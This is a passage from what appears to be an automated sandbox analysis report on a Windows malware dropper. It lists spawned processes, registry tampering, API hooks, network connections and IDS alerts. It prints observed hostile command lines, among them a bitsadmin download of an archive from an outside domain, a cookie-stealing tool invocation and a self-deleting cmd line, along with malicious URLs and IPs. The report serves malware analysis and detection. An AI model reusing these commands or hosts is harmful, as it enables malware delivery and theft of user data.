      URL: http://iplogger.org/2ixth3 (AV positives: 4/88 scanned on 06/22/2021 05:24:17)
      File SHA256: 434ab7c2b4b44a86bc67b27728dc2a0ab4ceb1e745d2edbc59fc4fb15df0dcde (Date: 06/22/2021 04:47:17)
      File SHA256: 622c975af170d0e11dba95b052f6ea0f992267650809ab9e3b4e22f2ccc32e97 (Date: 06/22/2021 04:47:09)
      File SHA256: 14c9d0fb3da03dbd8095865240e1b3456a78ab740b1b46526573992b48eed0cf (Date: 06/22/2021 04:46:56)
      File SHA256: 87168a1b77a02fb6f2ae0731624815fcf4d0807b0d696e1690ec29eafd03d952 (Date: 06/22/2021 04:32:00)
      File SHA256: 95fbc1405c8ac4c3cbbb979f53f5485f3f8b1cde1ce00ea454055749917536d2 (Date: 06/22/2021 04:21:43)
      File SHA256: fc5eac14054a3b813fe77dbb6d24d12c02c4e77193be34b9a06667381e894bd2 (AV positives: 17/74 scanned on 06/20/2021 09:01:20)
      File SHA256: 0099e62ea3beb0f1631eb088bd697fd829963713ef4cb0e3a0a72b8c950c2383 (AV positives: 43/76 scanned on 06/07/2021 05:59:33)
      File SHA256: a3d5715a81f2fbeb5f76c88c9c21eeee87142909716472f911ff6950c790c24d (AV positives: 64/75 scanned on 06/07/2021 12:52:56)
      File SHA256: 8c6191b8a534c53f9e76754a658ab3511ea9855993bc1dc6d787fba70aad09b3 (AV positives: 23/74 scanned on 06/03/2021 04:48:51)
      File SHA256: 4931fa750aba5b7c1b7f0f5d9f4bb67675fd38f2dd83e0c59934da4686c5d613 (AV positives: 27/74 scanned on 05/28/2021 05:03:57)
      source
      Network Traffic
      relevance
      10/10
    • Tries to identify its external IP address
      details
      "ip-api.com"
      source
      Network Traffic
      relevance
      6/10
      ATT&CK ID
      T1016 (Show technique in the MITRE ATT&CK™ matrix)
  • System Security
    • Modifies System Certificates Settings
      details
      "3DzimCCHok4QI3oge55SJ4Fn.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "D1EB23A46D17D68FD92564C2F1F1601764D8E349")
      "3DzimCCHok4QI3oge55SJ4Fn.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D1EB23A46D17D68FD92564C2F1F1601764D8E349"; Key: "BLOB")
      source
      Registry Access
      relevance
      8/10
      ATT&CK ID
      T1112 (Show technique in the MITRE ATT&CK™ matrix)
  • Unusual Characteristics
    • Checks for a resource fork (ADS) file
      details
      "askinstall47.exe" checked file "C:"
      "powershell.exe" checked file "C:"
      source
      API Call
      relevance
      5/10
    • Spawns a lot of processes
      details
      Spawned process "x86_x64_setup.exe" (Show Process)
      Spawned process "setup_installer.exe" (Show Process)
      Spawned process "setup_install.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_2.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_3.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_4.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_5.exe" (Show Process)
      Spawned process "metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_6.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_7.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_8.exe" (Show Process)
      Spawned process "metina_3.exe" (Show Process)
      Spawned process "metina_2.exe" (Show Process)
      Spawned process "metina_6.exe" (Show Process)
      Spawned process "metina_7.exe" (Show Process)
      Spawned process "metina_4.exe" (Show Process)
      Spawned process "metina_8.exe" (Show Process)
      Spawned process "metina_5.exe" (Show Process)
      Spawned process "metina_5.tmp" with commandline "/SL5="$30266
      183526
      99840
      %TEMP%\7zS856D3F35\metina_5.exe"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      Spawned process "Crack.exe" (Show Process)
      Spawned process "Xb9xd_yttFVCizq3PHdyxQy4.exe" (Show Process)
      Spawned process "3DzimCCHok4QI3oge55SJ4Fn.exe" (Show Process)
      Spawned process "czWUtBVE69_cm6INR5XzSTTE.exe" (Show Process)
      Spawned process "askinstall47.exe" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      Spawned process "_kZTg30m8bpighz8qDy1fPfn.exe" (Show Process)
      Spawned process "xgJoOVyufE0cCqwLc5B_RFQB.exe" (Show Process)
      Spawned process "Vx1H68u9crXyhlpiRY1l2dfJ.exe" (Show Process)
      Spawned process "9u14_lRckupdQYYfw4Hqq_Zl.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%USERPROFILE%\Documents\xgJoOVyufE0cCqwLc5B_RFQB.exe"" (Show Process)
      Spawned process "PING.EXE" with commandline "ping 1.1.1.1 -w 3000" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "bitsadmin.exe" with commandline ""bitsadmin" /Transfer helper http://marsdevelopmentsftwr.com/data/data.7z C:\zip.7z" (Show Process)
      Spawned process "data_load.exe" with commandline "-ppbbfQnnVfpIbCgK -y x C:\zip.7z -o"%PROGRAMFILES%\temp_files\"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      Spawned process "data_load.exe" with commandline "-pYIIFaUCaq1xily7 -y x C:\zip.7z -o"%PROGRAMFILES%\temp_files\"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      Spawned process "powershell.exe" with commandline "powershell -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsh7D81.tmp\tempfile.ps1"" (Show Process)
      source
      Monitored Target
      relevance
      8/10
  • Hiding 10 Malicious Indicators
    • All indicators are available only in the private webservice or standalone version

  • Suspicious Indicators 49

  • Anti-Reverse Engineering
    • PE file has unusual entropy sections
      details
      .text
      .data
      .rdata
      /4
      .idata
      .reloc
      /29 with unusual entropies 7.99814642994
      7.68633958292
      7.98208599498
      7.95966399404
      7.76722683039
      7.96816857527
      7.70275917407
      source
      Static Parser
      relevance
      10/10
  • Environment Awareness
    • Reads the cryptographic machine GUID
      details
      "metina_1.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "metina_4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "metina_5.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "Crack.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
    • Reads the windows installation date
      details
      "metina_1.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE")
      "Crack.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ET POLICY External IP Lookup ip-api.com" (SID: 2022082, Rev: 3, Severity: 2) categorized as "Device Retrieving External IP Address Detected"
      Detected alert "ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response" (SID: 2021076, Rev: 2, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ETPRO ADWARE_PUP InnoDownloadPlugin User-Agent Observed" (SID: 2839343, Rev: 1, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ETPRO POLICY External IP Address Lookup DNS Query (api .ip .sb)" (SID: 2835928, Rev: 3, Severity: 2) categorized as "Device Retrieving External IP Address Detected"
      Detected alert "ETPRO POLICY Observed External IP Lookup Domain (api.ip .sb in TLS SNI)" (SID: 2835930, Rev: 2, Severity: 2) categorized as "Device Retrieving External IP Address Detected"
      Detected alert "ETPRO POLICY Possible External IP Lookup SSL Cert Observed (iplogger .com)" (SID: 2832295, Rev: 1, Severity: 2) categorized as "Device Retrieving External IP Address Detected"
      source
      Suricata Alerts
      relevance
      10/10
    • Found an IP/URL artifact that was identified as malicious by at least one reputation engine
      details
      1/88 reputation engines marked "http://salam.amongus-pc4.xyz" as malicious (1% detection rate)
      6/88 reputation engines marked "http://nicepricingsaleregistration.com" as malicious (6% detection rate)
      1/88 reputation engines marked "http://ip-api.com" as malicious (1% detection rate)
      1/88 reputation engines marked "http://nsis.sf.net" as malicious (1% detection rate)
      6/88 reputation engines marked "http://cor-tips.com" as malicious (6% detection rate)
      source
      External System
      relevance
      10/10
  • General
    • POSTs files to a webserver
      details
      "POST /base/api/getData.php HTTP/1.1
      Connection: Keep-Alive
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Content-Length: 133
      Host: 136.144.41.152" with no payload
      "POST /base/api/getData.php HTTP/1.1
      Connection: Keep-Alive
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Content-Length: 113
      Host: 136.144.41.152" with no payload
      source
      Network Traffic
      relevance
      5/10
    • Reads configuration files
      details
      "x86_x64_setup.exe" read file "%USERPROFILE%\Searches\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Videos\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Pictures\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Contacts\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Favorites\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Music\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Downloads\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Documents\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Links\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Saved Games\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\desktop.ini"
      "x86_x64_setup.exe" read file "C:\Users\%USERNAME%\Desktop\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Desktop\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Searches\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Videos\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Pictures\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Contacts\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Favorites\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Music\desktop.ini"
      "setup_installer.exe" read file "C:\Users\%USERNAME%\Downloads\desktop.ini"
      source
      API Call
      relevance
      4/10
  • Installation/Persistence
    • Drops executable files
      details
      "libhttp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libcdda_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "vcruntime140.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"
      "libfingerprinter_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "metina_6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "libdiracsys_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libpacketizer_mlp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "askinstall47.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "libmosaic_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libmjpeg_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libwall_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libcaf_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libdemux_stl_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libmpgv_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libcurl.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libaccess_wasapi_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libsdp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libaddonsvorepository_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libdemuxdump_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "connection.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      source
      Binary File
      relevance
      10/10
    • Modifies auto-execute functionality by setting/creating a value in the registry
      details
      "metina_4.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "HALENG"; Value: "%TEMP%\haleng.exe")
      source
      Registry Access
      relevance
      8/10
      ATT&CK ID
      T1060 (Show technique in the MITRE ATT&CK™ matrix)
  • Network Related
    • Sends traffic on typical HTTP outbound port, but without HTTP header
      details
      TCP traffic to 104.21.86.8 on port 80 is sent without HTTP header
      TCP traffic to 136.144.41.152 on port 80 is sent without HTTP header
      TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header
      TCP traffic to 157.240.18.35 on port 443 is sent without HTTP header
      TCP traffic to 89.221.213.3 on port 80 is sent without HTTP header
      TCP traffic to 136.144.41.133 on port 80 is sent without HTTP header
      TCP traffic to 162.159.135.233 on port 80 is sent without HTTP header
      TCP traffic to 172.67.131.176 on port 80 is sent without HTTP header
      TCP traffic to 104.21.65.45 on port 80 is sent without HTTP header
      TCP traffic to 185.20.227.194 on port 80 is sent without HTTP header
      TCP traffic to 104.21.65.45 on port 443 is sent without HTTP header
      TCP traffic to 172.67.131.176 on port 443 is sent without HTTP header
      TCP traffic to 162.159.135.233 on port 443 is sent without HTTP header
      TCP traffic to 205.185.216.10 on port 80 is sent without HTTP header
      TCP traffic to 172.232.15.138 on port 80 is sent without HTTP header
      TCP traffic to 198.54.116.159 on port 80 is sent without HTTP header
      TCP traffic to 184.28.78.7 on port 80 is sent without HTTP header
      TCP traffic to 144.202.76.47 on port 443 is sent without HTTP header
      TCP traffic to 88.99.66.31 on port 443 is sent without HTTP header
      TCP traffic to 172.67.175.176 on port 80 is sent without HTTP header
      source
      Network Traffic
      relevance
      5/10
      ATT&CK ID
      T1043 (Show technique in the MITRE ATT&CK™ matrix)
    • Uses a User Agent typical for browsers, although no browser was ever launched
      details
      Found user agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      source
      Network Traffic
      relevance
      10/10
  • Remote Access Related
  • Spyware/Information Retrieval
  • System Destruction
    • Marks file for deletion
      details
      "C:\x86_x64_setup.exe" marked "%TEMP%\nsf6DF3.tmp" for deletion
      "%TEMP%\7zS856D3F35\metina_7.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_907374781" for deletion
      "%TEMP%\7zS856D3F35\metina_7.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0" for deletion
      "%TEMP%\7zS856D3F35\metina_7.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\askinstall47.exe" for deletion
      "%TEMP%\7zS856D3F35\metina_7.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\Crack.exe" for deletion
      "%TEMP%\7zS856D3F35\metina_4.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\jfiag3g_gg.exe" for deletion
      "%TEMP%\7zS856D3F35\metina_4.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\fj4ghga23_fsa.txt" for deletion
      "%TEMP%\7zS856D3F35\metina_5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\is-06SV9.tmp\metina_5.tmp" for deletion
      "%TEMP%\7zS856D3F35\metina_5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\is-06SV9.tmp" for deletion
      "%TEMP%\is-06SV9.tmp\metina_5.tmp" marked "C:\Users\%USERNAME%\AppData\Local\Temp\is-Q9AEP.tmp\idp.dll" for deletion
      "%TEMP%\is-06SV9.tmp\metina_5.tmp" marked "C:\Users\%USERNAME%\AppData\Local\Temp\is-Q9AEP.tmp\_isetup\_setup64.tmp" for deletion
      "%TEMP%\is-06SV9.tmp\metina_5.tmp" marked "C:\Users\%USERNAME%\AppData\Local\Temp\is-Q9AEP.tmp\_isetup" for deletion
      source
      API Call
      relevance
      10/10
      ATT&CK ID
      T1107 (Show technique in the MITRE ATT&CK™ matrix)
    • Opens file with deletion access rights
      details
      "x86_x64_setup.exe" opened "%TEMP%\nsf6DF3.tmp" with delete access
      "metina_7.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_907374781" with delete access
      "metina_7.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0" with delete access
      "metina_7.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\askinstall47.exe" with delete access
      "metina_7.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\RarSFX0\Crack.exe" with delete access
      "metina_4.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\jfiag3g_gg.exe" with delete access
      "metina_4.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\fj4ghga23_fsa.txt" with delete access
      "metina_5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\is-06SV9.tmp\metina_5.tmp" with delete access
      "metina_5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\is-06SV9.tmp" with delete access
      "metina_5.tmp" opened "C:\Users\%USERNAME%\AppData\Local\Temp\is-Q9AEP.tmp\idp.dll" with delete access
      "metina_5.tmp" opened "C:\Users\%USERNAME%\AppData\Local\Temp\is-Q9AEP.tmp\_isetup\_setup64.tmp" with delete access
      source
      API Call
      relevance
      7/10
  • System Security
    • Hooks API calls
      details
      "GetFileType@KERNELBASE.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "CopyFileA@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "SearchPathA@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "CloseHandle@KERNELBASE.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "OpenFileMappingW@KERNELBASE.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "_lopen@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "MapViewOfFile@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "MapViewOfFile@KERNELBASE.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "_hread@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "GetFileType@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "LoadImageA@USER32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "DuplicateHandle@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "CopyFileW@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "FreeLibrary@KERNELBASE.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "OpenFile@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "FreeLibrary@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "MapViewOfFileEx@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "GetProcAddress@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "CloseHandle@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      "GetFileTime@KERNEL32.DLL" in "3DzimCCHok4QI3oge55SJ4Fn.exe"
      source
      Hook Detection
      relevance
      10/10
      ATT&CK ID
      T1179 (Show technique in the MITRE ATT&CK™ matrix)
    • Modifies Software Policy Settings
      details
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1112 (Show technique in the MITRE ATT&CK™ matrix)
    • Modifies proxy settings
      details
      "x86_x64_setup.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "x86_x64_setup.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_6.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
      "metina_6.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
      "metina_6.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
      "metina_6.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_6.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_7.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_7.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_5.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
      "metina_5.tmp" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
      "metina_5.tmp" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
      "metina_5.tmp" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "metina_5.tmp" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1112 (Show technique in the MITRE ATT&CK™ matrix)
    • Queries sensitive IE security settings
      details
